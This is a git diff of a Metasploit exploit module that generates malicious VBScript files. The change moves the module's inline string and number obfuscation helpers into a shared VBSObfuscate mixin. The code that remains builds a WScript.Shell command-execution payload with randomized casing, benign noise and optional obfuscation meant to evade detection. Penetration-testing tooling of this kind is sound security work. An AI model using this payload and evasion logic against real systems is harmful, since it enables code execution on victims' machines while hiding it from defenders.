diff --git a/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb b/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb
index 811b6e6f3f..085cfdce59 100644
--- a/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb
+++ b/modules/exploits/windows/fileformat/windows_script_host_vbscript.rb
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
   include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::VBSObfuscate
 
   def initialize(info = {})
     super(
@@ -60,57 +61,6 @@ class MetasploitModule < Msf::Exploit::Remote
     ])
   end
 
-  # Returns a random math expression evaluating to input int
-  #
-  # @param [Integer] int input integer
-  #
-  # @return [String] math expression evaluating to input int
-  def generate_number_expression(int)
-    case rand(4)
-    when 0 # Sum
-      a = rand(0..int)
-      b = int - a
-      "(#{a}+#{b})"
-    when 1 # Difference
-      r1 = int + rand(1..10)
-      r2 = r1 - int
-      "(#{r1}-#{r2})"
-    when 2 # Product (only if divisible)
-      divisors = (1..int).select { |d| (int % d).zero? }
-      if divisors.size > 1
-        d = divisors.sample
-        "(#{d}*#{int / d})"
-      else
-        "(#{int}+0)"
-      end
-    when 3 # Quotient
-      r2 = rand(1..10)
-      r1 = int * r2
-      "(#{r1}/#{r2})"
-    end
-  end
-
-  # Return VBScript code with all strings split into chunks and concatenated
-  #
-  # @param [String] vbscript VBScript code
-  #
-  # @return [String] VBScript code with chunked strings
-  def chunk_vbscript_strings(vbscript)
-    vbscript.gsub(/"([^"]+)"/) do
-      original = Regexp.last_match(1)
-      chunks = []
-
-      i = 0
-      while i < original.length
-        chunk_size = rand(1..5)
-        chunks << "\"#{original[i, chunk_size]}\""
-        i += chunk_size
-      end
-
-      chunks.join(' & ')
-    end
-  end
-
   # Build a series of benign VBScript noise blocks
   #
   # @param [Integer] block_count Number of blocks to generate
@@ -156,29 +106,6 @@ class MetasploitModule < Msf::Exploit::Remote
     lines.join("\r\n")
   end
 
-  # Obfuscate string literals and integer literals
-  #
-  # @param [String] vbscript VBScript code to be obfuscated
-  #
-  # @return [String] Obfuscated VBScript
-  def obfuscate_vbscript(vbscript)
-    obfuscated = vbscript.dup
-
-    # Obfuscate strings
-    obfuscated = chunk_vbscript_strings(obfuscated)
-    obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
-      raw = ::Regexp.last_match(1).gsub('""', '"')
-      raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
-    end
-
-    # Obfuscate integers
-    obfuscated.gsub!(/\b\d+\b/) do |num|
-      generate_number_expression(num.to_i)
-    end
-
-    obfuscated
-  end
-
   def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
     vbs = ''
     vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
@@ -200,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote
     shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
     vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
     if obfuscate
-      vbs << obfuscate_vbscript(vbs_payload)
+      vbs << vbs_obfuscate(vbs_payload).to_s
     else
       vbs << vbs_payload
     end